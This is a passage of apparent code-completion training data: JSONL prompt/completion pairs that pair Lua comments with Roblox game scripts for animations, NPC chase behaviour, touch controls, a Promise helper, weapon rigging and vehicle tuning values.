scrollToBottom()\n\tlocal ScrollingFrame = Buttons:FindFirstAncestorOfClass(\"ScrollingFrame\")\n\tif ScrollingFrame then\n\t\tlocal bottom = Vector2.new(ScrollingFrame.CanvasPosition, ScrollingFrame.AbsoluteCanvasSize.Y)\n\t\tScrollingFrame.CanvasPosition = bottom\n\tend\nend\n\nCancel.SelectionGained:Connect(scrollToBottom)\nSubmit.SelectionGained:Connect(scrollToBottom)\n"} +{"prompt": "--Remove Old Rays", "completion": "\nif workspace:findFirstChild(\"Rays\") then\n\tworkspace:findFirstChild(\"Rays\"):remove();\nend"} +{"prompt": "--\t\tprint(animName .. \" * \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\tlocal anim = animTable[animName][idx].anim\n\n\t\tif (toolAnimInstance ~= anim) then\n\t\t\t\n\t\t\tif (toolAnimTrack ~= nil) then\n\t\t\t\ttoolAnimTrack:Stop()\n\t\t\t\ttoolAnimTrack:Destroy()\n\t\t\t\ttransitionTime = 0\n\t\t\tend\n\t\t\t\t\t\n\t\t\t-- load it to the humanoid; get AnimationTrack\n\t\t\ttoolAnimTrack = humanoid:LoadAnimation(anim)\n\t\t\t \n\t\t\t-- play the animation\n\t\t\ttoolAnimTrack:Play(transitionTime)\n\t\t\ttoolAnimName = animName\n\t\t\ttoolAnimInstance = anim\n\n\t\t\tcurrentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)\n\t\tend\nend\n\nfunction stopToolAnimations()\n\tlocal oldAnim = toolAnimName\n\n\tif (currentToolAnimKeyframeHandler ~= nil) then\n\t\tcurrentToolAnimKeyframeHandler:disconnect()\n\tend\n\n\ttoolAnimName = \"\"\n\ttoolAnimInstance = nil\n\tif (toolAnimTrack ~= nil) then\n\t\ttoolAnimTrack:Stop()\n\t\ttoolAnimTrack:Destroy()\n\t\ttoolAnimTrack = nil\n\tend\n\n\n\treturn oldAnim\nend\n"} +{"prompt": "-- The subset of a Promise that React APIs rely on. This resolves a value.\n-- This doesn't require a return value neither from the handler nor the\n-- then function.\n-- FIXME: workaround for Luau recursive type used with different parameters. delete this copy once that issue is resolved.", "completion": "\nexport type _Thenable = {\n\tandThen: (self: _Thenable, onFulfill: (R) -> ...U, onReject: (error: any) -> ...U) -> (),\n}\n\nexport type Thenable = {\n\tandThen: (\n\t\tself: Thenable,\n\t\tonFulfill: (R) -> ...(_Thenable | U),\n\t\tonReject: (error: any) -> ...(_Thenable | U)\n\t\t-- FIXME Luau: need union type packs to parse () | Thenable: CLI-49836\n\t) -> nil | _Thenable,\n}\n\nreturn exports\n"} +{"prompt": "------------------------------------------------------------------------\n-- string to number converter (was luaO_str2d from lobject.c)\n-- * returns the number, nil if fails (originally returns a boolean)\n-- * conversion function originally lua_str2number(s,p), a macro which\n-- maps to the strtod() function by default (from luaconf.h)\n------------------------------------------------------------------------", "completion": "\nfunction luaX:str2d(s)\n local result = tonumber(s)\n if result then return result end\n -- conversion failed\n if string.lower(string.sub(s, 1, 2)) == \"0x\" then -- maybe an hexadecimal constant?\n result = tonumber(s, 16)\n if result then return result end -- most common case\n -- Was: invalid trailing characters?\n -- In C, this function then skips over trailing spaces.\n -- true is returned if nothing else is found except for spaces.\n -- If there is still something else, then it returns a false.\n -- All this is not necessary using Lua's tonumber.\n end\n return nil\nend\n"} +{"prompt": "--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Thumbnail\")then]]--\n--[[JeffTheKiller:FindFirstChild(\"Thumbnail\"):Destroy();]]--\n--[[end;]]", "completion": "--\nlocal JeffTheKillerHumanoid;\nfor _,Child in pairs(JeffTheKiller:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nJeffTheKillerHumanoid=Child;\nend;\nend;\nlocal AttackDebounce=false;\nlocal JeffTheKillerKnife=JeffTheKiller:FindFirstChild(\"Knife\");\nlocal JeffTheKillerHead=JeffTheKiller:FindFirstChild(\"Head\");\nlocal JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild(\"HumanoidRootPart\");\nlocal WalkDebounce=false;\nlocal Notice=false;\nlocal JeffLaughDebounce=false;\nlocal MusicDebounce=false;\nlocal NoticeDebounce=false;\nlocal ChosenMusic;\nfunction FindNearestBae()\nlocal NoticeDistance=30;\nlocal TargetMain;\nfor _,TargetModel in pairs(Game:GetService(\"Workspace\"):GetChildren())do\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className==\"Model\"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild(\"HumanoidRootPart\")and TargetModel:FindFirstChild(\"Head\")then\nlocal TargetPart=TargetModel:FindFirstChild(\"HumanoidRootPart\");\nlocal FoundHumanoid;\nfor _,Child in pairs(TargetModel:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nif TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nSpawn(function()\nWalkDebounce=true;\nlocal FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));\nlocal RayTarget,endPoint=Game:GetService(\"Workspace\"):FindPartOnRay(FiredRay,JeffTheKiller);\nif RayTarget then\nlocal JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild(\"Jeff_Step\"):Clone();\nJeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;\nJeffTheKillerHeadFootStepClone:Play();\nJeffTheKillerHeadFootStepClone:Destroy();\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then\nWait(0.5);\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then\nWait(0.2);\nend\nend;\nWalkDebounce=false;\nend);\nend;\nlocal MainTarget=FindNearestBae();\nlocal FoundHumanoid;\nif MainTarget then\nfor _,Child in pairs(MainTarget.Parent:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then\nJeffTheKillerHumanoid.Jump=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and not JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=1;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nif not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nend;\nend;\nif not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then\nlocal MusicChoice=math.random(1,2);\nif MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\");\nelseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\");\nend;\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then\nChosenMusic.Volume=0.5;\nChosenMusic:Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then\nif not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nend;\nend;\nif not MainTarget and not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nif not MainTarget and not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nif MainTarget then\nNotice=true;\nif Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\")then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\"):Play();\nNoticeDebounce=true;\nend\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then\nJeffTheKillerHumanoid.WalkSpeed=25;\nelseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then\nJeffTheKillerHumanoid.WalkSpeed=0.004;\nend;\nJeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nelse\nNotice=false;\nNoticeDebounce=false;\nlocal RandomWalk=math.random(1,150);\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nJeffTheKillerHumanoid.WalkSpeed=12;\nif RandomWalk==1 then\nJeffTheKillerHumanoid:MoveTo(Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then\nJeffTheKillerHumanoid.DisplayDistanceType=\"None\";\nJeffTheKillerHumanoid.HealthDisplayDistance=0;\nJeffTheKillerHumanoid.Name=\"ColdBloodedKiller\";\nJeffTheKillerHumanoid.NameDisplayDistance=0;\nJeffTheKillerHumanoid.NameOcclusion=\"EnemyOcclusion\";\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nJeffTheKillerHumanoid.AutoRotate=true;\nJeffTheKillerHumanoid.MaxHealth=9000;\nJeffTheKillerHumanoid.JumpPower=60;\nJeffTheKillerHumanoid.MaxSlopeAngle=89.9;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then\nJeffTheKillerHumanoid.AutoRotate=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then\nJeffTheKillerHumanoid.PlatformStand=false;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then\nJeffTheKillerHumanoid.Sit=false;\nend;\nend;"} +{"prompt": "-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of\n-- current control scheme", "completion": "\nfunction ControlModule:OnComputerMovementModeChange()\n\tlocal controlModule, success = self:SelectComputerMovementModule()\n\tif success then\n\t\tself:SwitchToController(controlModule)\n\tend\nend\n\nfunction ControlModule:OnTouchMovementModeChange()\n\tlocal touchModule, success = self:SelectTouchModule()\n\tif success then\n\t\twhile not self.touchControlFrame do\n\t\t\twait()\n\t\tend\n\t\tself:SwitchToController(touchModule)\n\tend\nend\n\nfunction ControlModule:CreateTouchGuiContainer()\n\tif self.touchGui then self.touchGui:Destroy() end\n\n\t-- Container for all touch device guis\n\tself.touchGui = Instance.new(\"ScreenGui\")\n\tself.touchGui.Name = \"TouchGui\"\n\tself.touchGui.ResetOnSpawn = false\n\tself.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling\n\tself:UpdateTouchGuiVisibility()\n\n\tif FFlagUserDynamicThumbstickSafeAreaUpdate then\n\t\tself.touchGui.ClipToDeviceSafeArea = false;\n\tend\n\n\tself.touchControlFrame = Instance.new(\"Frame\")\n\tself.touchControlFrame.Name = \"TouchControlFrame\"\n\tself.touchControlFrame.Size = UDim2.new(1, 0, 1, 0)\n\tself.touchControlFrame.BackgroundTransparency = 1\n\tself.touchControlFrame.Parent = self.touchGui\n\n\tself.touchGui.Parent = self.playerGui\nend\n\nfunction ControlModule:GetClickToMoveController()\n\tif not self.controllers[ClickToMove] then\n\t\tself.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY)\n\tend\n\treturn self.controllers[ClickToMove]\nend\n\nreturn ControlModule.new()\n"} +{"prompt": "-- simple if statements, decides where the Tool will spawn \n-- depending on the generated number.", "completion": "\nif BlockPosition == 1 then\n\tBlock.CFrame = Pos1\nend\n\nif BlockPosition == 2 then\n\tBlock.CFrame = Pos2\nend\n\nif BlockPosition == 3 then\n\tBlock.CFrame = Pos3\nend"} +{"prompt": "--https://en.wikipedia.org/wiki/For_loop", "completion": "\n\nlocal currentPlaying\nlocalAnimationPlayer = game:GetService(\"ReplicatedStorage\").AnimationManager.LocalScriptAPI\n\nfor i,v in pairs(script.Parent:GetChildren()) do\n\tif v:IsA(\"TextButton\") and v.Name ~= \"Cancel\" then\n\t\tv.AnimRef.Value = game:GetService(\"ReplicatedStorage\").FemaleAnimations:FindFirstChild(v.Name)\n\tend\nend\n\nfunction FindAnimRef(parent)\n\tlocal childs = parent:GetChildren()\n\tfor i, v in pairs(childs) do\n\t\tif v:IsA(\"ObjectValue\") then\n\t\t\treturn v.Value\n\t\tend\n\tend\nend\n\nfor i, v in pairs(script.Parent:GetChildren()) do\n\tif v:IsA(\"TextButton\") then\n\t\tv.MouseButton1Click:Connect(function()\n\t\t\tlocal char = game.Players.LocalPlayer.Character\n\t\t\tif char.Humanoid.Health > 1 then\n\t\t\t\tif currentPlaying == v then\n\t\t\t\t\tlocalAnimationPlayer.StopAnimationOnHumanoid:FireServer(char.Humanoid)\n\t\t\t\t\tcurrentPlaying = nil\n\t\t\t\telse\n\t\t\t\t\tlocal animation = FindAnimRef(v)\n\t\t\t\t\tif animation then\n\t\t\t\t\t\tlocalAnimationPlayer.PlayAnimation:InvokeServer(animation, game.Players.LocalPlayer.Character)\n\t\t\t\t\t\tcurrentPlaying = v\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "--Turbocharger", "completion": "\nlocal BOV_Loudness = 1\t--volume of the BOV (not exact volume so you kinda have to experiment with it)\nlocal BOV_Pitch = 0.9\t--max pitch of the BOV (not exact so might have to mess with it)\n"} +{"prompt": "--[[\n\tYield until the promise is completed.\n\tThis matches the execution model of normal Roblox functions.\n]]", "completion": "\nfunction Promise.prototype:await()\n\tself._unhandledRejection = false\n\n\tif self._status == Promise.Status.Started then\n\t\tlocal result\n\t\tlocal resultLength\n\t\tlocal bindable = Instance.new(\"BindableEvent\")\n\n\t\tself:andThen(\n\t\t\tfunction(...)\n\t\t\t\tresultLength, result = pack(...)\n\t\t\t\tbindable:Fire(true)\n\t\t\tend,\n\t\t\tfunction(...)\n\t\t\t\tresultLength, result = pack(...)\n\t\t\t\tbindable:Fire(false)\n\t\t\tend\n\t\t)\n\n\t\tlocal ok = bindable.Event:Wait()\n\t\tbindable:Destroy()\n\n\t\treturn ok, unpack(result, 1, resultLength)\n\telseif self._status == Promise.Status.Resolved then\n\t\treturn true, unpack(self._values, 1, self._valuesLength)\n\telseif self._status == Promise.Status.Rejected then\n\t\treturn false, unpack(self._values, 1, self._valuesLength)\n\tend\nend\n"} +{"prompt": "--[[ CONSTRUCTOR ]]", "completion": "--\nfunction Path.new(agent, agentParameters, override)\n\tif not (agent and agent:IsA(\"Model\") and agent.PrimaryPart) then\n\t\toutput(error, \"Pathfinding agent must be a valid Model Instance with a set PrimaryPart.\")\n\tend\n\n\tlocal self = setmetatable({\n\t\t_settings = override or DEFAULT_SETTINGS;\n\t\t_events = {\n\t\t\tReached = Instance.new(\"BindableEvent\");\n\t\t\tWaypointReached = Instance.new(\"BindableEvent\");\n\t\t\tBlocked = Instance.new(\"BindableEvent\");\n\t\t\tError = Instance.new(\"BindableEvent\");\n\t\t\tStopped = Instance.new(\"BindableEvent\");\n\t\t};\n\t\t_agent = agent;\n\t\t_humanoid = agent:FindFirstChildOfClass(\"Humanoid\");\n\t\t_path = PathfindingService:CreatePath(agentParameters);\n\t\t_status = \"Idle\";\n\t\t_t = 0;\n\t\t_position = {\n\t\t\t_last = Vector3.new();\n\t\t\t_count = 0;\n\t\t};\n\t}, Path)\n\n\t--Configure settings\n\tfor setting, value in pairs(DEFAULT_SETTINGS) do\n\t\tself._settings[setting] = self._settings[setting] == nil and value or self._settings[setting]\n\tend\n\n\t--Path blocked connection\n\tself._path.Blocked:Connect(function(...)\n\t\tif (self._currentWaypoint <= ... and self._currentWaypoint + 1 >= ...) and self._humanoid then\n\t\t\tsetJumpState(self)\n\t\t\tself._events.Blocked:Fire(self._agent, self._waypoints[...])\n\t\tend\n\tend)\n\n\treturn self\nend\n\n"} +{"prompt": "--Engine--", "completion": "\nscript.Parent.Parent.Values.RPM.Changed:connect(function()\nlocal HP = StockHP\nlocal Horsepower = _Tune.Horsepower\nlocal Boost = (((totalPSI/2)*WasteGatePressure)*(CompressionRatio/10)*TurboCount)\nlocal B2 = (Boost)/7.5\nlocal B3 = HP*B2\nlocal B4 = B3/2\n\n_Tune.Horsepower = (HP) + (B4)\n\nend)\n"} +{"prompt": "-- --Remove the double brackets around this part to rename and unanchor everything --", "completion": "\n\nfor i = 1, #c do\n\tif c[i].className == \"Part\" then\n\t\tc[i].Anchored = false;\n\t\tif c[i].Name ~= \"Handle\" then\n\t\t\tc[i].Name = \"H\" .. a;\n\t\t\ta = a + 1;\n\t\tend\n\tend\nend\n\n\n\nif hand == nil then\n\tprint(\"Handle not Found! Try again!\")\n\tscript.Disabled = true;\n\tscript:Remove()\nend\n\nlocal s = script.WeldScript:Clone();\ns.Disabled = false;\n\nfor i = 1, #c do\n\tif c[i].className == \"Part\" and c[i] ~= hand and c[i].Anchored == false then\n\t\ttable.insert(parts, c[i])\n\tend\nend\n\nfor i = 1, #parts do\n\tlocal c0 = hand.CFrame:inverse()\n\tlocal c1 = parts[i].CFrame:inverse()\n\tlocal val1 = Instance.new(\"CFrameValue\")\n\tval1.Name = parts[i].Name .. \"C0\"\n\tval1.Value = c0\n\tval1.Parent = s\n\tlocal val2 = Instance.new(\"CFrameValue\")\n\tval2.Name = parts[i].Name .. \"C1\"\n\tval2.Value = c1\n\tval2.Parent = s\n\tlocal w = Instance.new(\"Weld\")\n\tw.Parent = hand\n\tw.Part0 = hand\n\tw.Part1 = parts[i]\n\tw.C0 = c0\n\tw.C1 = c1\nend\n\ns.Parent = tool\n\nscript:Remove()\n\n"} +{"prompt": "-- Right Arm", "completion": "\n\t\tcharacter:FindFirstChild(\"LeftUpperArm\").LocalTransparencyModifier = 0\n\t\t\n\t\tcharacter:FindFirstChild(\"LeftLowerArm\").LocalTransparencyModifier = 0\n\t\t\n\t\tcharacter:FindFirstChild(\"LeftHand\").LocalTransparencyModifier = 0"} +{"prompt": "--// Tables", "completion": "\nlocal L_45_ = {\n\t\n\t\"1565831468\";\n\t\"1565832329\";\n\t\n}\n\nlocal L_46_ = {\n\t\n\t\"1565831129\";\n\t\"1565830611\";\n\t\n}\n\nlocal L_47_ = {\n\t\n\t\"1565825075\";\n\t\"1565824613\";\n\t\n}\n\nlocal L_48_ = {\n\t\n\t\"1565821941\";\n\t\"1565821634\";\n\t\n}\n\nlocal L_49_ = {\n\t\n\t\"1565756818\";\n\t\"1565756607\";\n\t\n}\n\nlocal L_50_ = {\n\t\n\t\"1565717027\";\n\t\"1565716705\";\n\t\n}\n\nlocal L_51_ = {\n\t\n\t1565703226;\n\t1565675605;\n\t\n}\n"} +{"prompt": "--// Walk and Sway", "completion": "\nlocal L_133_\n\nlocal L_134_ = 0.6\nlocal L_135_ = 0.05 -- speed\nlocal L_136_ = -0.1 -- height\n\nlocal L_137_ = 0\nlocal L_138_ = 0\nlocal L_139_ = 35 --This is the limit of the mouse input for the sway\nlocal L_140_ = -9 --This is the magnitude of the sway when you're unaimed\nlocal L_141_ = -9 --This is the magnitude of the sway when you're aimed\n"} +{"prompt": "-- Create an Attachment in the terrain so the AlignOrientation is world realtive", "completion": "\nlocal worldAttachment = Instance.new(\"Attachment\")\nworldAttachment.Name = \"SoldierWorldAttachment\"\nworldAttachment.Parent = Workspace.Terrain\n\nmaid.worldAttachment = worldAttachment\nmaid.humanoidRootPart.AlignOrientation.Attachment1 = worldAttachment\n"} +{"prompt": "-- (Hat Giver Script - Loaded.)", "completion": "\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"Top Hat\"\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(2, 1, 1) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0, -0.25, 0)\n\t\twait(5)\n\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "-- If you want to change the hat that you are trying on, change the \"Mesh\" Just delete the one in the brick that this script is in,\n-- and copy a mesh from a different hat, that you want to try on with this script.", "completion": "\n"} +{"prompt": "-- Hook up event listener", "completion": "\nCmdr.RemoteEvent.OnClientEvent:Connect(function(name, ...)\n\tif Cmdr.Events[name] then\n\t\tCmdr.Events[name](...)\n\tend\nend)\n\nrequire(script.DefaultEventHandlers)(Cmdr)\n\nreturn Cmdr\n"} +{"prompt": "-- Make the AnimBase", "completion": "\n\tL_18_ = Instance.new(\"Part\", L_3_)\n\tL_18_.FormFactor = \"Custom\"\n\tL_18_.CanCollide = false\n\tL_18_.Transparency = 1\n\tL_18_.Anchored = false\n\tL_18_.Name = \"AnimBase\"\n\t\n\tL_19_ = Instance.new(\"Motor6D\")\n\tL_19_.Part0 = L_18_\n\tL_19_.Part1 = L_58_\n\tL_19_.Parent = L_18_\n\tL_19_.Name = \"AnimBaseW\"\n\t--AnimBaseW.C1 = gunSettings.StartPose\t\n\t\n\tL_15_ = Instance.new(\"Motor6D\")\n\tL_15_.Part0 = L_3_['Right Arm']\n\tL_15_.Part1 = L_1_:FindFirstChild('Grip')\n\tL_15_.Parent = L_3_['Right Arm']\n\tL_15_.C1 = L_12_.GunPos\n\tL_15_.Name = \"Grip\"\n\t\n\tfor L_60_forvar1, L_61_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_61_forvar2:IsA(\"Part\") or L_61_forvar2:IsA(\"MeshPart\") or L_61_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_61_forvar2.Anchored = true\n\t\t\t\n\t\t\tif L_61_forvar2.Name ~= \"Grip\" and L_61_forvar2.Name ~= \"Bolt\" and L_61_forvar2.Name ~= 'Lid' then\n\t\t\t\tWeld(L_61_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\tend\n\t\t\t\n\t\t\tif L_61_forvar2.Name == \"Bolt\" then\n\t\t\t\tif L_1_:FindFirstChild('BoltHinge') then\n\t\t\t\t\tWeld(L_61_forvar2, L_1_:WaitForChild(\"BoltHinge\"))\n\t\t\t\telse\n\t\t\t\t\tWeld(L_61_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tif L_61_forvar2.Name == \"Lid\" then\n\t\t\t\tif L_1_:FindFirstChild('LidHinge') then\n\t\t\t\t\tWeld(L_61_forvar2, L_1_:WaitForChild(\"LidHinge\"))\n\t\t\t\telse\n\t\t\t\t\tWeld(L_61_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfor L_62_forvar1, L_63_forvar2 in pairs(L_13_:GetChildren()) do\n\t\tif L_63_forvar2:IsA('Part') then\n\t\t\tWeld(L_63_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\tend\n\tend\n\t\n\tfor L_64_forvar1, L_65_forvar2 in pairs(L_13_:GetChildren()) do\n\t\tif L_65_forvar2:IsA('Part') then\n\t\t\tL_65_forvar2.Anchored = false\n\t\tend\n\tend\n\t\n\tfor L_66_forvar1, L_67_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_67_forvar2:IsA(\"Part\") or L_67_forvar2:IsA(\"MeshPart\") or L_67_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_67_forvar2.Anchored = false\n\t\tend\n\tend\n\t\n\tL_20_ = L_3_['Right Arm']\n\tL_21_ = L_3_['Left Arm']\n\tL_24_ = L_3_.Torso:WaitForChild(\"Right Shoulder\")\n\tL_25_ = L_3_.Torso:WaitForChild(\"Left Shoulder\")\n\t\n\tL_22_ = Instance.new(\"Motor6D\")\n\tL_22_.Name = \"RAW\"\n\tL_22_.Part0 = L_18_\n\tL_22_.Part1 = L_20_\n\tL_22_.Parent = L_18_\n\tL_22_.C1 = L_12_.RightArmPos\n\tL_3_.Torso:WaitForChild(\"Right Shoulder\").Part1 = nil\n\t\t\n\tL_23_ = Instance.new(\"Motor6D\")\n\tL_23_.Name = \"LAW\"\n\tL_23_.Part0 = L_18_\n\tL_23_.Part1 = L_21_\n\tL_23_.Parent = L_18_\n\tL_23_.C1 = L_12_.LeftArmPos\n\tL_3_.Torso:WaitForChild(\"Left Shoulder\").Part1 = nil\n\t\n\tL_14_ = L_8_:WaitForChild('MainGui'):clone()\n\tL_14_.Parent = L_2_.PlayerGui\n\t\n\tL_27_ = L_58_:FindFirstChild('AHH') or L_6_:WaitForChild('AHH'):clone()\n\tL_27_.Parent = L_3_.Head\n\t\n\tif L_32_ then\n\t\tL_32_:Destroy()\n\tend\n\t\n\tL_33_:FireClient(L_2_, true, 